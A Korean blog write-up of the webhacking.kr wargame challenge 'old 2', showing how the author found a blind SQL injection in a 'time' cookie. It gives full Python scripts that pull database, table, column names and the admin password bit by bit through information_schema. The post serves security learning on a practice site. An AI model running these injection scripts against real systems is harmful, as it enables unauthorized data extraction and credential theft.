Jaeseo's Information Security Story

webhacking.kr - old 2번 - writeup 본문

Write UP/webhacking.kr

webhacking.kr - old 2번 - writeup

Jaeseokim 2020. 1. 6. 22:13

요즘 계속 안드로이드 개발 공부만 하는 것 같아서 다시 WebHacking 공부를 하기위해 문제를 풀었다.

맨 처음 2번 이여서 쉬우니깐 sql injection 간단하게 해서 풀고 넘어가야지라는 마인드를 가지고 풀었는데 생각 보다 문제가 안풀려서 한번 파보니 난이도가 있는 문제 였다.....

2번인데 난이도가 ㅠㅠㅠ

일단 사이트에 접속을 해본다.

위와 같이 ip를 logging 하고 있다는 안내 메세지가 있다. 이떄 소스를 보면 주석으로 시간에 대해 주석 처리가 되어있고 admin.php에 접근하지 말라는 경고가 있다.

admin.php에 들어가 본다.

그러면 매우 간단한 입력 창이 있는 것을 볼 수가 있다. 이때 다양한 SQL injection 점검 문자열을 날려보며 공격을 시도 해봤는데 공격이 먹히지 않는다. PreparedStatement 와 같은 형태로 시큐어 코딩이 되어 있는 것으로 예상이 된다.

이제 어떻게 공격을 해야 하나 하고 cookie를 봤는데 여기서 phpsessid 말고 time 이라는 cookie가 있는 것을 볼 수 있었다.

그리고 여기서 값을 보면 unixtime 형태로 예상이 되는데 한번 변환 사이트를 통해 확인 해본다.

결과를 보니 주석에 달려있는 시간과 똑같은 모습을 볼 수가 있다.

그리고 메인 페이지에 있던 loging을 하고 있다는 것을 보니 cookie에 있는 time을 가지고 loging하는 것으로 예상이 된다. 한번 다른 시간으로 변조하고 주석을 관찰 해본다.

1로 변조하여 전송을 하니 2070-01-01 09:00:1 시간으로 나오는 것을 볼 수가 있다. unix 타임의 시작인 1970년 1월 1일 utc 기준으로 시작되는 것으로 보인다. 2038년 문제를 해결 하기 위해 강제로 앞에 20으로 처리하는 것으로 예상이 된다. 이제 한번 query 문을 날려 본다.

import requests

# url, cookie 설정
url = "https://webhacking.kr/challenge/web-02/index.php"
ori_time = "1578296149"
cookies = {"time":"1578296149",\
     "PHPSESSID":"jsjvl9hvnfsvmlqk6ai9bui9k7"}

# 정상적인 응답
response = requests.get(url=url,cookies=cookies)
print("정상적인 응답\n",response.text)

# time cookie SQL injection 시도

cookies['time'] = ori_time + " and 1=1 "
response = requests.get(url=url,cookies=cookies)
print("Ture 반응\n",response.text)

cookies['time'] = ori_time + " and 1=2 "
response = requests.get(url=url,cookies=cookies)
print("False 반응\n",response.text)

response을 확인 해보면 아래와 같이 ture 와 false 의 반응이 다른 것을 확인할 수 있다.

정상적인 응답
2020-01-06 04:15:09
Ture 반응
2070-01-01 09:00:01
False 반응
2070-01-01 09:00:00

이제 이것을 가지고 blind sql injection을 해본다.

일단 information_schema 을 활용하여 db의 길이를 알아낸다.

def findDB_length(db_index):
     for i in range(50):
          payload = "and (select length(table_schema) from information_schema.tables order by table_schema limit {},1) = {}".format(db_index,i)
          cookies['time'] = ori_time + " " + payload
          response = requests.get(url,cookies=cookies)
          if "2070-01-01 09:00:01" in response.text:
               return i

order by와 limit을 활용하여 총 2 개의 DB와 1 번째 DB은 6 글자, 2 번째 DB은 18 글자라는 정보를 알아냈다.

def findDB_name(db_index,db_len):
     name = ""
     for name_index in range(db_len):
          bincar= ""
          for bit_index in range(1,8):
               payload = "and (select substr(lpad(bin(ascii(substr(table_schema,{},1))),7,0 ),{},1) from information_schema.tables order by table_schema limit {},1) = 1".format(name_index+1,bit_index,db_index)
               cookies['time'] = ori_time + " " + payload
               response = requests.get(url,cookies=cookies)
               if "2070-01-01 09:00:01" in response.text:
                    bincar += "1"
               else:
                    bincar += "0"
          name += chr(int(bincar,2))
     return name

위와 같이 알아낸 길이를 가지고 db 명을 알아내는 스크립트를 만들어 DB 명을 확인 했다.

chall2,information_schema

이제 이런 식으로 table의 길이를 알아내고 이름 알아내고 column의 길이, 이름 그리고 value의 길이, 값을 알아내는 스크립트를 차근차근 작성했다.

import requests


# url, cookie 설정
url = "https://webhacking.kr/challenge/web-02/index.php"
ori_time = "1578296149"
cookies = {"time":"1578296149",\
     "PHPSESSID":"jsjvl9hvnfsvmlqk6ai9bui9k7"}

# payload 작성
'''
# 정상적인 응답
response = requests.get(url=url,cookies=cookies)
print("정상적인 응답\n",response.text)

# time cookie SQL injection 시도

cookies['time'] = ori_time + " and 1=1 "
response = requests.get(url=url,cookies=cookies)
print("Ture 반응\n",response.text)


cookies['time'] = ori_time + " and 1=2 "
response = requests.get(url=url,cookies=cookies)
print("False 반응\n",response.text)
'''
'''
정상적인 응답
2020-01-06 04:15:09
Ture 반응
2070-01-01 09:00:01
False 반응
2070-01-01 09:00:00
'''
def findDB_length(db_index):
     for i in range(50):
          payload = "and (select length(table_schema) from information_schema.tables order by table_schema limit {},1) = {}".format(db_index,i)
          cookies['time'] = ori_time + " " + payload
          response = requests.get(url,cookies=cookies)
          if "2070-01-01 09:00:01" in response.text:
               return i

'''
DB는 2개가 존재함
1번째 DB은 6글자
2번째 DB은 18글자
'''

def findDB_name(db_index,db_len):
     name = ""
     for name_index in range(db_len):
          bincar= ""
          for bit_index in range(1,8):
               payload = "and (select substr(lpad(bin(ascii(substr(table_schema,{},1))),7,0 ),{},1) from information_schema.tables order by table_schema limit {},1) = 1".format(name_index+1,bit_index,db_index)
               cookies['time'] = ori_time + " " + payload
               response = requests.get(url,cookies=cookies)
               if "2070-01-01 09:00:01" in response.text:
                    bincar += "1"
               else:
                    bincar += "0"
          name += chr(int(bincar,2))
     return name

'''
chall2
information_schema
'''

def findtable_length(db_name,tb_index):
     for i in range(50):
          payload = "and (select length(table_name) from information_schema.tables where table_schema = '{}' order by table_name limit {},1) = {}".format(db_name,tb_index,i)
          cookies['time'] = ori_time + " " + payload
          response = requests.get(url,cookies=cookies)
          if "2070-01-01 09:00:01" in response.text:
               return i

'''
1 번째 table은 13글자
2 번째 table은 3글자
'''

def findtable_name(db_name,tb_index,tb_len):
     name = ""
     for name_index in range(tb_len):
          bincar = ""
          for bit_index in range(1,8):
               payload = "and (select substr(lpad(bin(ascii(substr(table_name,{},1))),7,0 ),{},1) from information_schema.tables where table_schema = '{}' order by table_name limit {},1) = 1".format(name_index+1,bit_index,db_name,tb_index)
               cookies['time'] = ori_time + " " + payload
               response = requests.get(url,cookies=cookies)
               if "2070-01-01 09:00:01" in response.text:
                    bincar += "1"
               else:
                    bincar += "0"
          name += chr(int(bincar,2))
     return name

'''
admin_area_pw
log
'''

def findcolumn_length(db_name,tb_name,col_index):
     for i in range(50):
          payload = "and (select length(column_name) from information_schema.columns where table_schema = '{}' and table_name = '{}' order by column_name limit {},1) = {}".format(db_name,tb_name,col_index,i)
          cookies['time'] = ori_time + " " + payload
          response = requests.get(url,cookies=cookies)
          if "2070-01-01 09:00:01" in response.text:
               return i

'''
1 번째 column은 2글자  
'''

def findcolumn_name(db_name,tb_name,col_index,col_len):
     name = ""
     for name_index in range(col_len):
          bincar = ""
          for bit_index in range(1,8):
               payload = "and (select substr(lpad(bin(ascii(substr(column_name,{},1))),7,0 ),{},1) from information_schema.columns where table_schema = '{}' and table_name = '{}' order by column_name limit {},1) = 1".format(name_index+1,bit_index,db_name,tb_name,col_index)
               cookies['time'] = ori_time + " " + payload
               response = requests.get(url,cookies=cookies)
               if "2070-01-01 09:00:01" in response.text:
                    bincar += "1"
               else:
                    bincar += "0"
          name += chr(int(bincar,2))
     return name

'''
pw
'''

def findvalue_length(db_name,tb_name,col_name,val_index):
     for i in range(50):
          payload = "and (select length({0}) from {1}.{2} order by {0} limit {3},1) = {4}".format(col_name,db_name,tb_name,val_index,i)
          cookies['time'] = ori_time + " " + payload
          response = requests.get(url,cookies=cookies)
          if "2070-01-01 09:00:01" in response.text:
               return i

'''
1 번째 value는 17글자
'''

def findvalue_val(db_name,tb_name,col_name,val_index,val_len):
     name = ""
     for name_index in range(val_len):
          bincar = ""
          for bit_index in range(1,8):
               payload = "and (select substr(lpad(bin(ascii(substr({0},{1},1))),7,0 ),{2},1) from {3}.{4} order by {0} limit {5},1) = 1".format(col_name,name_index+1,bit_index,db_name,tb_name,val_index)
               cookies['time'] = ori_time + " " + payload
               response = requests.get(url,cookies=cookies)
               if "2070-01-01 09:00:01" in response.text:
                    bincar += "1"
               else:
                    bincar += "0"
          name += chr(int(bincar,2))
     return name

def main():     
     print(findvalue_val("chall2","admin_area_pw","pw",0,17))
     # kudos_to_beistlab

if __name__ == "__main__":
     main()
     pass

그 결과 chall2 db에 admin_area_pw라는 table과 pw 라는 column이 있고 여기에 kudos_to_beistlab 라는 암호가 저장되어 있는 것을 볼 수 있다. 이제 이걸 가지고 admin.php에 인증을 해본다.

'Write UP > webhacking.kr' 카테고리의 다른 글

webhakcing.kr - old 4번 - WriteUp  (0) 2020.02.05
webhacking.kr - old 7번 - WriteUp  (0) 2020.01.24
webhakcing.kr - old 5번 - WriteUp  (0) 2020.01.09
webhacking.kr - old 3번 - WriteUp  (0) 2020.01.08
Comments